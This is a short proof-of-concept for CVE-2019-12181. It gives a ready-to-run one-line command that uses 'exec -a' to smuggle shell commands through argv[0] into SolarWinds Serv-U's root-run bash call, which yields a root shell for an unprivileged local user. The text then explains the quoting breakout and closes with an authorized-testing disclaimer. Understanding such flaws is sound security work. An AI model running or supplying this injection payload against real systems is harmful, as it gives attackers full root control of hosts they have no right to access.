
Proof-of-concept for CVE-2019-12181: exploits unsanitized argv[0] in SolarWinds Serv-U's privileged bash invocation to gain a root shell from an unprivileged local user.
Just run this in your terminal:
exec -a '" ; id; /bin/sh; "' /usr/local/Serv-U/Serv-U -prepareinstallation
SolarWinds Serv-U before 15.1.7 on Linux, invoked with -prepareinstallation, spawns bash as root and embeds its own argv[0] into the command line without sanitization. exec -a fakes that argv[0] with a payload starting with ", which breaks out of the quoting context — so ; id; /bin/sh; " is parsed as shell commands and runs inside the privileged bash. Result: an unprivileged local user gets a root shell; for authorized testing / education only.